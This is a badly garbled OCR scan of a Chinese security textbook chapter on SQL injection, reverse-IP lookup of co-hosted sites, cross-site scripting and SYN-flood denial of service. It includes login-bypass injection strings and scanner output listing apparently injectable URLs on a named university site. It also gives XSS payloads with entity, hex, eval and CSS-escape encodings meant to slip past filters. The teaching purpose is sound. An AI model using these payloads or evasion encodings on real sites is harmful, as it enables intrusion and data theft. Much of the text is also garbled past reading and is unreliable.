EH 1Y, S TE and user=>0, 3K {ITHIE s user /& SQLServer 19—~ N & A8 & . & 19E /2 M1
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R P 44 2B A8 nvarchar, & —> nvarchar BY{E R int A% 0 HL%E . & 50 2 501 B
nvarchar f{E 5% B int &, 085 1 B2 rh i E 2 A SQLServer 1Y MY 55 #2780 FF
nvarchar {H “abe "4 H B3 N int BYH) I K A 15 L5 %, abe TR /2722 & user HY{H . X FE,
AWK Z I8 TEIEEMH P 2., LSRR, RESE DR L2 H X #o7rsE
AL ACSQL AR BN

Ak EaRpgaEE 2B 1k 7 SQL HEA A FiRpg bk A £ S, &5 R E 6-35 iR

= = 4
e & hitpe//jsiy hebtuedu.. 2 = X | OO isjy. hebtu.edu.cn

IEERE! REEBR TN 2R
W{EI P, 110.241.68.99

#R{EBTiE), 2014/2/21 17:55:44
ﬂ{‘ﬁ]ﬂ_ﬁa shownews_save. asp

22z 53k GET
%’?Ml id
12278E, 2858 and user>0
B — )

I ErEgsnTasEITIST )

B 6-35 Bh1kE SQL F N A M ik

2. BiEZ

Ja 53 B 07§ Uk 58 i P il .

5k S8k Y i) A2 A AND A1 OR Az 5800, T & s 5 BIAS 2 B PE R e

{5 404 i Ga 9 K5 AT TS 4 531 S admin Al admin! @ # 123, QR 5 7 19 50E 15 A i1 h) 2
user = request("user")

passwd = request(" passwd" )
sql = 'select admin from adminbate where user = '&'"' '&user&'''&' and passwd = '&'' '&passwd&' '

AR 2 FAdi Flor "a'="a S A8UH 1 24 %5 15 Y 3% » A T A2 A T

select admin from adminbate where user = ''or 'a' = 'a' and passwd= ''or 'a'="'a'

R AU AR s B X B — B 4 A ) I A AR 45 R 2 R or A and i or
H,JEH and 57 or, AL RN H XFH AT LIRS T .

X A IR A7 AE W IE AT A28 - o — A A R 5 R U b IR 58 0 Y A i 2 2 )
— 2R AT A) L 2R A

sql = "select # from admin where username = '"&username&'&" passwd = '"&passwd& '

G R — B K5 2 o I A 0 e AR S A Y X AR TR A R T
5 ol EARFEMMAINE  — H gk MDS i 50 HoAth hn 25 7 200 & 59 . 085 2 5 5
—Fh R A B AR B BB — R AR R IR A RE S LS i 1.
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6.10.3 SQL JEANPBHTE

T T SQL HAM I anfay B ik SQL 3 A2 ek — 20 Bie SQL A Z e &
738 ik — 2 B 0 VR FBC B ORFEAIC SQL A B fE R

1. FRASHULBNTIREIER

KL A BT B 598 SQL, w1l LA Z B fe iy SQL 55 1 42 10 1 A7 fif 2 #2547 %L
Hia: A ) AF .

TERH A SQL A P Y 5 AL e XS RE BLEE B i A B SQL A . R A R, P
5 A W2 E A7 3 08 L5l E T S8 i R) . S B0 E AR T2 80m A2 P A
ik AR E A, FEZEUE O, SQL B A LS LUME IE . R)E . H P i AR BR T — A~ 281

2. WiNGGIE

KT AEAFAE P A X P 0 5 A SE AT A 56 . T DL F ) 2R ik =X, al PR K
JE 6T BRG] S F N R TR A

A PR ARG YE . B R AN E R & G 8dE . B /A N Y 76 5 P I Al
i 55w v AR AT . Z BT LABEPRA T R 55 A i S8 0E A2 A 1 /R RD 2 0 v 46 R BIL ) G 55 110 22 4k

TE % F v » Y0 35 58 4 AT RE AT I 00 i I AT At o 48 e 56k 5 16 v 09 I AR (B8 1 4
BRIENAS) AR5 4 B N 2l B s i R AR A 25 k55 A . DR, AR IE S E #R AR 0 L 2
ZEPRAT L ME— A Ik I TE IR 55 A% v PR AT SR IE . Uk ] LA (T 22 N Y 56 TE X 42 L 6] A
Regular Expression Validator, EfTTRE#S H 2)) 2 B30 UEH 19 % F v B A< . 24 88 Rt mT LA A
iz 55 4 v 1) 7 5 DR o A0 SR ARAS B B0 0 1) 55 kX 4, AR AT LL i i Custom Validator H & A
1,

3. FHiRHEAE

B SQL TE A i %5k A th 30— S PRGN A9 55 D% TH B, W A9 53 8 15 B0 2 45 HE S AT fE
DR B B E R TRAR BN TR R S5 IR 5 B T % - IR O SR AT T DA 3 267
B Bl —Fibr o 0 55 A AL e 56 0E B A 0 B A B 19 1R 2R TR Al R D) 4

4. AR

AEAEHLE R B BRI % B0 hash 4508 65 A EUR M (E B

P FH P 5 S 24 BR300 S8R I % DR AE . I P s N R L AR TR PRI B S RO A
DRAF 1 B PE A 3 AR 2 1 0 P i AN B8 28 4T 1 0 1T A B HH P AR R AN 10 B
$a: P22 AT AT AT AR R 1 2 S0, N B 1k 1 o A SQL 4.

5. A AGEMEERIITINENES

SQL ZE8 4% 38 Iy 0K B 1k X0t 2 A R 545 e 247 Se i Aoty . Ak s B 15 5K
Hia: 2 BB AT DL BR ) 3 35 V7 R e 0 A L B AT L B AT 0 P e A A 200 D U R B A i
iR A BT S X R AR ME P R A A T

6. EFATIMRREAFEIERE

Ko B AT H AT IEAE A sh48 RUGE H bR I8 50 e L K3 R HE 2= 0] DL 5 sl i T
by Web 288y i il o Al B 2 $5F T — 28 Llb (9 s W 454 T2 SQL 3 A I Jy
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T — PR U B 25 B8 00 35 S 5 R A R — AR T SQL T AR T2 B jsky, 35 F 6
A [ B Mk 22 4 A I T 2, MDCSOFT SCAN 4. %1 MDCSOFT-1PS 1] A £ %4 Hb
i SQL A XSS W4, — A ENRFEFHEET AR T MEAMEr. &%
Wk 1) SQL i A SR o R 04T T 8 R AT DL A 4R Ak & R A TR TR

7. HMAREBIEERE

7K E AN BT A 3 O3 AL BIR 1Y) 530 T2 3 4% » B o S By v A BIR A B F) 25 2 i 4%

B E VR EE FE & 4, R gq U5 [n 8Uds T3 i) Web N HH T 68 e 7 19 de fI i APR 60T A
B s FEVE AT A0 5 K A i R O Ok 97 U B IR O 4E 97 HF A R B . I 2R Web i H
ANty BT ) 5 B3R IR A B B BCA Ui ] X LR A ALER o Wi S]R Web 7 F H /7 2 H 32 # AL
BIE o HE 2 3k 2% 11 & X i % 19 drop. insert, update, delete # 4 FR . FF 8 8 2086 2 FT 1 &% 80
T

8. REHIT

AR E N RG] IR A BEACL W, B — D E N & A 1R . JIF B R O B
IF o B X Bl 0 G i (0RO o O 22 BALAE 1 X _E 2 1) 2 AUIR TF 40 19 %2 42 5 0 2R 5 76 JL R 5%

JUAS A Z 5 T8 — S8R /N (9 BT B, At AT] 2 ki 22 4 W 1P 0 5%, it — A/ /N Y BE R . 3K
LA A A 0 o PP A7 17 T I & R L 2 0T

6.10.4 FXHFMITE

(1) 177+ Safe3 Web J il 314 & 5t - 72 b A= b S A 224G D0 /Y ) k-, 72 328 #0017 28 0
Jr » T T ) A4 o 0 T LA 2R A sk Y R RE e R L 1R 6-36 Fir i

i 3 Safel WebBEOEE®EWSEVI0L Crack Ei Lkou[LCG) Http://voww.52pajie.cn [ =) g.'
SEE Y aeE Qum
@/ Jsiy hebtu edu en COOKIE - I 38 I
HiEwE Rl HITRISUERRR
V) JwvaseripU7 [V WlSiiEE] [V POSTARAT (V) SQUEA (V) Xsspsk M None o
N | FEBCookie | VI HERE v ERIESs | Basie
. ' Password.
LARTSE Y /EERmE VY EERE | Digest
III o v YLigriit | NTLA ~Domain:
LAy prean
b e 10 BE: 12
& BART CIARENHSLE

1

,htip //isiy hebtu edu en/manage/Defanlt aspx it
(http://)s)y hebtu edu cn/manage/update/ B ,
(http://)=jy hebtu edu en/s=howelass asp?elas=id=8 P ﬁiﬁsql ﬂﬂ
| http: //jsjy hebtu edu en/shownews asp?id=2858 ]% i

|http /7/35)y hebtu edu. en/showlist. asp7test=6

http.//3sjy hebtu edu enf/zhowyye. asp?14=514 DJfc

Ihup //3s)y hebtu edu en/manage/Default. upx"—"_po:t \I'I!I‘STAT

http -"'f_]:_]}r hebtu edu en/showclass aspTclassid=O&pagei1 d=2 classid=0 PlRiFisal,

| http: /1353y hebtu edu en/showvideo. asp?i1d=S6TThtest=10 14=5677 B '& gl:

! L hitp: r'f_lsjr hebtu edu. en/shownews. up"':d—-EﬂSﬂ-&pqud*l 14=2858 Pl &311 ;

httE /7153y hebtu edu cm’:hwl::t A5P =B&pageid-2 t“t'ﬁ B
By u|

E= mwﬂhmm:mﬁﬁﬂruﬁdﬁwgm 1arUQOVI23X s fhMLU4__EVENT

B 6-36 Safe3 Web i@ P &%
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(2) F3 M RHE—AW D AT B e T B a] DLE AT iR AR, o m] DL gk 4T E AL 3 AE, a0
& 6-37 Fr7s .

(@ =o2rza e T T e T —

WOEATR .

MSSULE IR

e BEEEE: |'1_"‘= #: [1=1 E TR
= 4mE  ; mtb.ﬁI:] gmi ] gmm l
D2 A TR hitp://www.d%9net.net %!

B 637 MIDIFANTER

6.11 55 7k Hr i

55 1 e g T W 2% 1 B BOA T Y — R AR 5 Bk A R R NS AT R[] —
EAL A [R5 i B 7 2] WebShell, Al AL E R Ty 50 2 filk 55 Fir 2% 5 19 7 -
BT 19 ) BB A2 00 1T A%

6.11.1 FFWEHEREIE

X gy 3 AT XS /N R B o 55 o O A S A TP S5 TE . WAL S5 I B0k i
A G E ) TP &l XA TP bt 1+ 2 /043804, i bt A [A] — A il 55 BT 1Y
Gl M v, /B R B E R — IR 55 Ar & P RE fie 22 09 N 0 10 e $2 Al Be A 2555 7 X
A= HAR M3

N A o 3l BR T B e AN DL ERZ LR 2 A R s UEAT AR L BEAE R AL
0% 8] B8 ] AE — A M A AL I i — A Mgl B AL w2 DAk M, REEE
X JE A A ) oy E AT Bt s B e H A Il R 55 e Y HAt R R iR 55 e R ACRR B
FEH AR 34 H S B AS— D AR DA R0 H bR b e T #4E . S50 T RAER FHER &
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S5 3] F B 240 domain (B/NF) 55 3 T H . R 20K ] 82 U E 72 B F 00 B
P it 114 P ks AR 25 5 T B A Bl A 363 R U 3= PL b 0 = At A A T IR Y 3 AR R A )
FEALHFERIAL XSHZ B L FEVL T A9 2l —IF di 17 B . &l 6-38 &2 — B P i IP e #x
I 44 1 ] 325 Chttp: //dns. aizhan, com) . 8338, Fe AT ] LAA ) BRI A TP 265E Y844 .

Hif: http://énz. wirhsn con/ w | b5 an & i f @ (2 dox sizhen com [F:|Bl 146.178. 167 il IF

Exits B PINGHET IPESEME ) whols=ig whols= &

[3ARRRE) IFRZEEER AN (] 1G= %/ EcomillE FREE K ISFIaeEEF [ ErTFaEE) amE— WAETERI BB ERL
* SRR O ESR P L] TipHee [iEFmT) =J52S+8 [ [IEFRAlexaiEE38 0] ) EFRTW/EVPS ¢ SUEW
FEE-ReE LR ( r—EEUN | ) LeARRE R L T ISR HEESEME . 305 ML SR BOOO BERE - HHIE
[SEMEED] TR—OBE ! - b= 2 -

#,-."_."-
A | - .
CEMECEY = 57

I IPREH&E B GEmEIEL | _|

+THRULISEE-NP EETRESMS,

SMIPiRhs 120.0.117.133 MTEREX : MIEESGRA S

e = % PR

BTSN : nachalovo.org blumyankeaskbaijing.licogoldcom wan020com backgroundcheckslS.allallacom maileastern-bridge.com
il i il ¥ 1

E 6-38 1P jz &5 2 M ih Chttp://dns, aizhan, com)

6.11.2 |3 KR

37 11 25 ¥ g 61 082X 56 WK AT LA T T RO 2

1. EEEEEFHTIRME

Pl 11 A B T S 5 % — B 2 AR G 5 36 10 K 451 3 WL
HRE R A B U 2. TR 2 BT LLRE 35 17 SR IR O TIS X F i R A1 5 P 7 e T
— AN J R TUSR HLEE 47 0I5 TIS JI“TUSR HLES 4 7 -5 3k 5 3B A7 190 9 149 5 11 4
B 5 20 A T B 43 AL S — A B ) TIS i b 2 TIS 3 b0 K 2 0 R PR 3% % Guests 41
SCRY: 1 5L 5 8 10— A 0l R i, Rk A O B R 25 A 0 3 7
A ALBR T LTI

2. RAHEBES E

10 (o 848 20 7 ik e A 1Y AE ok S8 B — A~ JC RS TP L, #EE T A ] — A
S22 B ER ) TP I X FE SRR WHOIS £ i gk 2 R A4~ JEH 1P B s B, SR
2] fir 197 B2 45 2R

6.11.3 XHIFNTEH

i —TZENEAHEE ., #hk http. //www. ginfanchao. com, #2232 # T H . & FH
— XA TP Hudk A 2 /DRl [k a5 i 6-39 B ka5 8% 5F an &l 6-40 Fr s .
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(4] i qinfanchac.com OF HF5 1 i
™

ERBHE

E=20M45E 28198

ENAESEL... -

B 6-39 — >3 AR #LE AL = i8] /Y ) G

tvlilserssd2ping www.latersoft.com

Ping www.latersoft.com [113.10.201.111 Bf 32 FHHNHEIE:
113.18.201.11 F)EH: I"i-‘?-:lz 1(El=52ns TTL=114
113.10.201.11 Eﬂlﬁlg i’ﬁ-zz 1[8]=53mne TTL=114
113.10.201.11 B9[0 :‘t'p-ﬂ 1[8)=55ns TTL=114
113.108.281 .11 B)0®: FH-32 -;'H1=53m TTL=114

i} Jins *ﬁ"ﬁr 4, E5% = 0 @ E5
Eugzﬂﬁ{ﬁiﬁm L&Wj -{m:' B o

g = 52ms - 55mg, 13 = 53ns

113.10.201 .11

:Sllgsers™d >ping www.ginfanchao .com

Ping s.t6sdde. .1!.2[!1.111 BE 32 EHHENHE-
113.18.201.11 f : Fp B} (B]=52ns TTL=114
113.18.201.11 {[0)° B|8]=53ms TTL=114
113.10.201.11 E

113.10.281.11

1(8]=53ns TTL=114
B|8]=52mne TTL=114

B 6-40 [§— IP HA[ERYE B

6.12 XSS Yili

XSS ¥ Y CSS (Cross Site Script) . BBy HIA L &, B E T
Hif A LS

= HTML ACHS . 2 = 30 %5 2% ot Z i i A Web By HTML T

WEGEH A Web 11
2R
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11 DTk B8 A I RRIR H Y .
WL A ZE AR A 5 HTML , JavaScript, VBScript, ActiveX, Flash 8¢, XSS 7] ) H{ #1
FEAEART ) BE 2

6.12.1 XSS EifBIZ
(5 e e 11 WG L SRt P DR v s R () e M L R o R R o) 1157 AW 2 (1 O
< B HREF = "forgot. asp?user = "> Forgot your Password?</A >

HH AR P 2 A A Javaseript i 5 AT & HEBLER IR $2 R
A PSS BHECH A H AR A& 6-41 Fros .

6.12.2 XSS Bt iRiE
XSS 5 il W i B2 a0 & 6-42 P s

¢ 1L BN DT TXSS BT

<A
HREF="fur5m_asp’-’usem
> Forgot your password? </A>

3. BEAREHINTT

<A
HREF="forgot.asp?user=
"> Forgot your password? </A>

4, H ML R U
S MhEL B
6. i # KX HUIE (5

B 6-41 SN\ [E R EE5) B 6-42 XSS Hiwiz

6.12.3 XSS Bt RIE
F AT 00 W A A DL 4R ok HE SCAS bl i 5 ARy L 9 4n R T A A SR
< A HREF = "http://www. hebtu. edu. en">J[J, Iifi §i5 K F</A >

AT A 20 7 59— R e 4

1M XSS Wiy if BeA 5 sk 2 4 HTML bk A A, 78 HTML T a] LIS & B A Fr 1]
<Zscript><_/script > ER A S IEF A E O T » BT B OR 4 50 38 J0 5 19 1 A fx 12 B Al i
& XSS, FanFATAE X ot g i, SIS R R LR SN A, R AN B A A
pic S P BTG AR ARL . FRATT AT LAAA 8 40 (R P 5 A i DA A4 3 S S8 3 TG RS Y I A B

">< script > alert('XSS');</script ><"

B AEA T ARR SQL A
6.12.4 XSS By ZR T & B AR & 5= 14

A 4 By n] DU & XSS A
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1. TELHERNBEAIRIS

X R S B AT AT 5 3 /Y ok A B AT J . A3 S HLOJC e R B AS A

il MR kAN AR

2. R HRIFRIE B

UARER BV ASRIC R 2 E A We? FeAT3X B K U7 8] HAh SCAFFRic i Je o4 . Filan .,
WA — S EERE . <<img sre=" http://www. hebtu. edu. cn /net. gif" = ,img fric I A2
HOE S E A AR HTML SCE i & 5 = — i 2 il i sre J/ PR R . 5 U 50 4
X B EZ R R—E R B B BAE sre rdg g )y . I8 2000 W i 4 55 0 A i R X A
img FRic, UilA) sre J& PE R (A b iy URL #ihkJf B & /. [ et e e
KT WMERFSA SR sre JRETMAHER? BREER! B4 N\ s
FRATE AT LAAE 53X B R SC# 1 $2 M Javascript B9[] 27 1V 3% A1 .
il , Javascript 4 — > URL AR, o PA{H A “javascript: 7 iX ffp il
PR SCUa BH BRF n b AT & /Y Javascript G, 25 W) UG 7 2 280X FE Y
URL I, 8 £ 77 36 b A, F R B ATRE A i 7 — A gpgupy B 693 XSSP
XSS /n ], &l 6-43 s .

< img src = "javascript:alert('XSS');">

3. MR EH

ANEFEA N FRiC @ AR BE 98 ik & XSS, W bric )@ M A Re i L AT 7T LK S50
JraC.img FRic A — > onerrorO A4, 24 img FRid N %A — 4> onerror O A IE 4 & /%
A EH SR XA SR 2B A T X A SR b oR] DL AT B A 9 BE B AT L X RE
TSR T 74— XSS Xk 6l 71

< img src =" http://xss. jpg" onerror = alert('XSS')>

7= A5 R AN 6-43 Fi R

4. IBERRY

T2 cgi/php IASTAT I A0SR & & SR P 42 28 19 38 5K 01 1 I A A7 A 5 & A= HoAth 26 AY
AR, S S B WTER R —4> HTML O, 8% iZ 485 1% 00 & ik 457710 #

4 . 404-yourfile. html Not Found!

FEATAIH URL f8CT iy iF K -

http://jsjy. hebtu. edu. cn/view. asp?id = < script >alert( 'XSS')</script >

ISR A B 5E  =7E v m o —NE BAE 2 9R X Mo R A T s 2 3, i o sE PR AT .
6.12.5 43T XSS A\ 12/ BA #I

503 900 2 LK A Javascript 9 6 BEFAE L JE It % R AR AS AR XSS fLHS.
(ELR AT AN P25 5 B 0 M 41 S S &7\

AL &5 U SQL YA BRI T 960 T ELRE AR 15 PR S5
AR BEAT - XSS B BT R ST 5 T2 0 S5 PR T AT TE S0 2% BRI SR
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[ Unicode Zifih . HTML 4wl DL & # ASCII FR RS X Fh XSS #4693 4+ ki 0
TS 2EH] s SQL A S 2K S E il A7 B K25 — A8 & . 7 XSS H it D) 2 £ 6 & 2 B
W B . T M I 3t 5 <<img src="javascript:alert(XSS) ;" =~ ], F M2 T IE ) F S 15 .

<img src="&# 106&% 97&H 11884 97&# 11584 99& # 114& 4 105&# 11284 116& 58& 4 97& # 108& #
101& 4 11484 116&% 40&# 39& 4 88& 4 83& # 83& 4 39& 44 41&# 59">

mE 6-44 B .

src=" II1H“9?II11IIH?&H‘115lﬂ9lﬂ11ll-ﬂ‘l$ rtH |I11MIEBI-I1
GEIVLABBENBILRBILUIVENNIENS ) '

E 6-44 F /Y XSS K

Ji T o 7N PR e d e rg 4SS

<img src = "&H x6a&H x61& F x76&H x61& F xT3& #F x63& HF xT2& # x69& # xT0& # x74& # x3a& # x61& #
Xbc& H x65& 8 xT28& H xT48& # x288& H# x278& 8 x588& 8 x538& 4 x53& 4 x27&# x29& &4 x3b">

XA & & R A L 4kgE I 0 AR & # 01067, “& # 001067, “ & # 0001067,
“&. £ 000010672 1=K,

MiXN"\"FHNZEE T — T HBY XSS 0day i . X3 A A1 CSS(Cascading Style

Sheets) ZE X LGB R KLE, T I KEREF XN - E4 4 Javaseript [ eval pR
BB B S X AR E X S BRELAY

eval (codeString) , X151 codeString 2821 &% A %L Javascript fCHH FZ /A HH., X

NFAFEREH Javaseript M BT 0 A AT .

FEATHY Javaseript HE"\" FAHESFE SCFAF Bt LAnT LU A"\ "% 4% 16 JE 745 5past 71U

< SCRIPT LANGUAGE = "JavaScript">

eval ("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\ x53\
x53\x22\x29")

</SCRIPT >

B Y 2 » B 2 AR 0 B A B\ A B 19 16 9 ) A AR O 2, 0 N A RE I R

i AT R A S
— a0 B Ao W iUE Ry CSS fRid
< html >
< body >
<style>
BODY { background: url(http://127.0.0.1/xss.gif) }
</style>
< body >

< html >
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A7 A HTM, W 25 4T B8 1E
i background JEPEAE A"\ " i £ 0 oS B AR R 20 YR #R T T R A R E R

< html >
< body >
<style>
BODY { background: \75\72\6c\28\68\74\74\70\3a\2f\2f\31\32\37\2e\30\2e\30\2e\31\2f\78\73\
73\2e\67\69\66\29 }
</style>
< body >
< html >

FESCHRES—if o C 2 idad. XSS [y fih 2 AR 8 Vs 9] SO rOARIC T 74 - I T TAS MR 15 H

< img STYLE = "background — image: url(javascript:alert('XSS'))">

XAERY XSS HA) . A VR ATER L IRATAEXS CSS UM PR ICIETT XSS % it , )
e B T8 FRATT AR REAR IC N 7 . XSS i) 7R ] -

< img STYLE = "background — image: \75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\
72\74\28\27\58\53\53\27\29\29">

iR A 6-45 FroR

ing STYLE="bDackground-inage: wsuzucwni'ftmuumv.??*.hawz
VBONTONTH\Sa\SINGC\BS\T2\TH\28\27\SB\SI\5S3\" 29" 29" >

E 6-45 FIFA CSS EMIFH Ay XSS

6] : 110 http://www. wooyun. org/bugs/wooyun-2010-0795 . 5 A M 3§51 18
1) XSS Jif .

6. 13 FEA

=0t

6. 13-1 iiEE!!

2014 AF 12 F o FAgE S 12306 B 3 ] P {5 Bt EE  f5 2800k S5 e b 2 SR % A fi
IYF”H{J'HEEH@’H% 12306 Mu gk PR R . B FE"# R K2V, Hsg B7E 2014
A4 R R B B AR A A R SR
97§ i o L S L
F 2 300 L At 1 3 7 P A B S 2, 4t i DT BIR o i 22 008 S 0 1 H AR I 35
A FoRVE, T SR A 1 P AE S [) 9 3 5 Sk s AR (7] 6% FH P 4% AN RS i AT R BT
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HETT A O A Ho At D3 7 45 B DA H 3R BROZR 5% R 25

1 o T S AR (1 B A b DR O — e Ry /] e B i e L (RS R TR TR A T
1Z%FI"JH:JF'fnhﬁqujﬁﬂtﬁﬁﬁjjﬂ&ﬁ%l_fwgi}f/ﬁﬁﬁm UL R 22 7 W e P 00 5 0 R
T AT — A — 2= IR E e B O B E A LAY P 4% ), AT L
ﬁﬂmﬁmﬁﬁr$ﬂwﬁﬁ% X 0 2 KA s 1Y — R RS0 7 =0, Aot i3 B 1 Zcdls 1y H
PR E AR

(2 48 2 T 2 1) HL At (s iy P A5 B R B ARG W7 h T iR iE % B
TR 4 2“5 72 A VR R

6_ 13-2 iijﬁ,ﬁ”

MR HY A S TR 2B PR BRGE A XA E S Y 2R B et 2 e iy Ly
FATHT i /Y25 B SR F Bt 2 TR %3%1?#M4?E*Lﬁ_|-l)+¢“qﬁf( T IRBR™ ™
Sl AR A O E R s A E P R B E .

AR B B TR QQ St T LSRR R TSR AR 1Y 2 L Y

i m] HE AR AT P 0 B Ok 5 b ik AT AR B S I BUR AR B . XV R F I — AR
FHOC I S A 0 15 ) 19 2%

6. 13-3 iiiﬁt,ﬁ!!

R ARER KR PR RS 25 B B PR A a8 1 FR T B & A& A A 1
SRR NI R 5 MFHFWF.‘JH ?ﬂ'%/‘*ﬁ% 7 Al LAA X (5 B ) 5 E 8 . 3R
AT, S R RVE s o — . o A HE R . S E R, £ 208 it
R I 3l R RO o A R AR A A R A I L 2 AR B 2 AU T A 25 L NTITIE Rl 1 — 4% B
o H R = B L XA, P IR A B T A AEAE AR . [, B P TS AR B
IR i 1, X e H P Bl & — B FFEE e FH P R 4

6.13.4 XF"1E E "I KB

S M P A R U LR AIE A O e A A B 0k Y AN — B0 91 B R R — o 1Y I
B, L F A E S R B AL REI T T 8% A kS .

FLUCN M AR BE R UF 8 sk B A Sk B B, AR X S PR P AR s i b TP PR .
W7 [R] — TP 75 R AN ] 8] Bz N 8 55 ) HH P %, DLBT Y Jo BRI AR 5 s 240k

SE4E . 15 ) http://www. wooyun. org/bugs/wooyun-2014-061871, & & 1 [ A9 4
J- U 1

] 8 6
VIEZE@

1. BRI E AR .
2. #t&T ﬁ%lﬁﬂif@@ﬁﬁﬁ]ﬁﬁ
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AR — R o3 1P o oG s
GetNTUser T-HBMA41 682
R 26 A A B 43 Ry — 2
— R F L RE A LT ffﬁchl% I E T
ZEES
1. TP R SQL A=A ( )
A, R4 B R T B. A& 3 A ify 4L ab FE
C. A2 b 7 D. BERGECE A G HE
2. THIA XK SQL A UL A 18 1 S ),
A. WK ZSEAL B A RIER G L
H1WEMWW%&%@%A%M%%
C. WERRNZE A% Web W
D. #EFFIRAY SQL i A) B4 A 47 SQL ik 55 4%
3. A7 K 55 U T i B OE B 11 2 C ).
A. TR S5 1 iRk 55 8 & sh Gk
B. S {55 i Xt i e T E A I [R]— R 55 2 00 H Al D) 3 7 S 4
C. XA 5% s e b 10 32 52 3 FH P R AR
D. S5 AT B AL
4. A K XSS Mo 5 B T 6 19 52 ( ).
A. Yo vl Web 046 AL & HTML RS, 24 J1 P 30 %0 % 2540 A 2
AT
B. it i o 7 W ol B ACEE A Y P s T e BOH P AE R
C. HZ 84 JavaScript S F4F . BLRE BT 1 XSS X3k
D. XSS M 2 Jo &% Pl 18 7Y
=, BEE
1. fa iR 4h 2 TR X i R
2. BR ARG VLG A4S B4 PRGOS 7 e A - P A PR R 7
3. TR RE N YE AR, B Ty Sk anfe] W A AR AE &R A 08 P B A L {e] 1 £ R S
E%Mﬁﬁ%mmdiﬁmﬁﬂvﬁﬁ%ﬁ&%ﬁﬂﬁ%ﬁ?
. ] ARG v X Y S sk i R R
+%ﬂmANDjﬁORHM%E—EWW%S@JiMWﬁWQ
M., Z&&
wmH Java BE P K RZ G Web f2£ /, H Statement 1574] 1] A~ {8 ] PreparedStatement
i) s R safe3 Web Jailil A VR B0 # R G0 4 0 n] g /9 e W L JF <230 F H SQL 3 A T
H k17 8t

Oy U = L2




=57 &= DoS HI DDoS

B ¥ 3E SYN K A Smurf 2,
B 7 # DDoS =% &,

FUAE & A H AR R DL AR 48 P2 438 iz 55 09 205 AR 95 PR O 45 46 ik 55 (Denial of Service, DoS)
Yoty s Ho H A& 00 B AR T ALE M 28 ok $e IR 3 ) ik 55 . B UL Y DoS Xk 2 1S AL M
2T v B RN A T P G

w7 o B 2 DA R0 38 15 1 op o I 2% 8 I 2% B A5 ml A7 S ER gl e AR e, I R SRS
P B IE K Jo 8

2 38 PR A R R A s R vp i B L AR BOT R R A S P W
oK. — DRIV EFt2 . WA LTS —A 35T B 5g , X A HAh B P st
WAT A VEHTE 1 X 2 3% i 1 DoS Xt .

7.1 SYN X2

1996 4 9 H LK. iTF £ Internet uh 5 32 | —FFR A SYN X (SYN Flooding) 1940
Yaflg 55 . B R A R B E ORI T Y . AT 2 F Internet | I PR AL L F
TCP #y M 28 iz %5 (an WWW Jiig 55 . FTP i 55 - WE 75 ik 55 55 ) 19 3= HLAR AT E 18 523X Fh ety

B XA [A] FR e, Yty i 2528 n] BE A ], {H & Yot i AR A B S A axX s R e v TCP/IP Py
WO B G . BANEIA TCP/IP Wil 1T M A A Be B T X Se G . H ik
A — 50 B E T 2 R 2 AT DR B — S 4 il S i R X Fh M & A 4 AT RE A L U8/)N
K

7.1.1 SYNREEENE

IP Pp i Internet [ 25 22 09 45 o DRSS 8 7 AN AT 5E /Y | J0 3% 35 19 [ 45 73 26 4% fa i 55
TP PR asl i A AR 4% S 5 0 AR O I 25 4L

FIT IR B AN AL 8E 7 2 g AN DR TR R s 412 A6 1% Fag o B2 b Y ml S v A0 Qe A 4 B &d 4 T fE 2
K, REH AL, ] REAL AR . L v RERLAT ALK T

FIT TR ™ JC 3% 437 2 35 1% i R0 41 =Z 1y AN 23 57 R HR % BRI AR mT BE 28 i AN () Bt A 1 g -
P fuTgEE RR.

TCP th A2 T IP B3 B5CF B F 2= B 2 18], $ {5 0 Al 5 1 | I () 3% 02 19 250308 i 1% S
iz 55 .
TCP ip i n] LA R 8 {7 X5 1Y 200 iz 68 9% 1% e ok te . A= A B 2R EA
ALY G . TCP a8 o fa 4 i FL I Can v 20 7 10 P 80 R 8 A% S 352 AR R 58 8 ml e 1Y 20030 i
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154 .

SYN 4 iF J& F DoS Wi iy —Fh . & TCP Ppisl Sl [ . i ioF %& 326 A 19 2 % B sk
FETR CPU MINAE%EIE . SYN Xl 1 BERZ W ALY . a8 0] DLSE 3 3% 2% Bl KOS 55 ) 4% &
gL L SYN I HAE BT ARG, RE X ZG T TCP )5 5ol PLSE i

7.1.2 SYNJRIE

7E SYN Flooding Bt i, #I ] TCP = k4R F W iy sk Fd . B 3 m) HAs E00k % K &
P JE ik ) TCP SYN #e 3. B Ax E ML 43 B E 9 BT 6 . SR 5 1) 6 3 41k 3% [7] SYN -+ ACK
i, IF SF FF I v AR A1 ACK 4. i U6 ik O i 09, i A I 5 7K 28 #8 AS 23 3R 8] ACK 4 3,
ZF EARSE Kk SYN+ACK A, F52F % B2 A v i LR BA 1 b o AR — B =ML AT
A ALl AR DA ) EE AL R B Al T 14 2 3 45 BAS K R R A BR 1 L SRS T ) A2
TR E KGR TCP SYN iz 3C, - % 42 B At 2 1R PRI IR 55 2% 45 4008 i 5, 3L
2 1 TGk ) o HL Al AL A AT 9 B oK L e A A2 T ML T IRFE L

1B F15E — i SCBE ML B SYN 8 1. 5 AN i SYN Ffl ACK ¥y 3
B AR X XS — SYN #CE iy #iih It dk e T3 4E . fmfm — U — 4 i
IME B GE A H W ENLE I T U B R E R X .

BF XA 4 o R AU AR B R E A TR AR A B IR

(1) Socket(ZFE=4Z5) 4544 4 i Fr (i F 89 P il IR EF B bk 7 B # A S, Z i X
FUH A bR A 55

(2) Internet PR FE 6l Bt 2549 (Inpeb) , fii A TCP R B L IP Hi bk . v 1 5, 1P Sk 5
AL H br i, A 5 T S

(3) TCP =il BR&5 49 (TCPcb) , i iAW 805 B P 4% i HilE B i A UE 55

— MO S R R I BOA X SE N A BT I RNV & T 280

14 oz Wi AL 3 2 23 SR A SYN AL INE o 52 S 3% 0% #5240 0 L 1 42 3 % 2 dle 25 4, D i B
REA AT PRANIE B2 40 T2 IR (B SYN- RECVD R REGE & Ak 2 1921 i 521 #E
RN E A4 & vk H P 3 HEIR 55 . 242 % B 80A B i RAE R, TCP 3t & % 57 Fr
A JF 22 0 BRI K eI P Sk i R S da 4e . (B, 525 EUL0Y BT A Ah 0 B2
KA A C @B A 22 8 m . X FeR 00 2 R 22 3] 2 3% 208 i), 3 3t ot %
Fe Ak o EORE L .

MRk EHN RS A EN X0 IP bk, T E=HL X A [ ENL D K% %
R ALY IR B A DAY SYN+ACK i), 20m D & 2% RST 44, 0L D 298 1% % 12
HE

